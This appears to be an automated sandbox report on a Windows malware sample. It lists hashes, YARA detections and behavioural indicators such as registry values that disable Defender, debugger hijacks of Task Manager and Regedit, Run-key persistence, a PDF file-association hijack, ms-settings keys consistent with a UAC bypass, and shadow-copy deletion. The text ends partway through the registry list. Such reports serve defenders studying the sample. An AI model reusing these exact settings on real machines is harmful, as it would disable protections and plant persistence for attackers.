Analysis
- max time kernel
150s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
16/05/2026, 21:31
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
46 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11-20260513-en
windows11-21h2-x64
45 signatures
150 seconds
General
- Target 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 50KB
- Sample260516-1c3byshy31
- SHA256 ad1dff196deb4b51ad76d9d049d4c8d60adf492cf54a670e1ed267cbaf9136a1
- MD5 599b12b9d57df9cc2e3afe3bb5b1705f
- SHA1 2ba1ecb30403fa76a14a6757167de76f7c195542
- SHA512 be727af3739534763595ec9c1d756073d4cb706796eb90bfb9ebcae2d9906d2840de4e61f1f5429e6757847ef07914e7ac97f10ac81d6b6b1035619682b867c1
- SSDEEP 768:hdG8o8qNjTle4MQei6597avP5RCnav/2/Rgr4DC1XXGblfppBKFc5xz:fwNlebQvX/d2Gr4DEXGblfLBuc3
- TLSH T1C233F80477F94211F5BF4ABA49B192119B31B4A79C33D78E0AD5058E1AB3B40CEA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/3760-0-0x00000000007B0000-0x00000000007C2000-memory.dmp disable_win_def behavioral2/files/0x001300000002b9b4-2364.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral2/memory/3760-0-0x00000000007B0000-0x00000000007C2000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral2/files/0x001300000002b9b4-2364.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral2/memory/3760-0-0x00000000007B0000-0x00000000007C2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral2/files/0x001300000002b9b4-2364.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2936 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 612 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\sysupdate.exe 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\svchost.exe 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 2368 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4128 sc.exe 3660 sc.exe 4100 sc.exe 2536 sc.exe 1808 sc.exe 4732 sc.exe 4084 sc.exe 856 sc.exe 3584 sc.exe 4188 sc.exe 1684 sc.exe 1736 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4940 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3236 NETSTAT.EXE 2428 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3524 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4860 vssadmin.exe 2368 vssadmin.exe 4116 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134237579716492632" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\.pdf\ = "PDFBotnet" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open\command 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open\command 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open 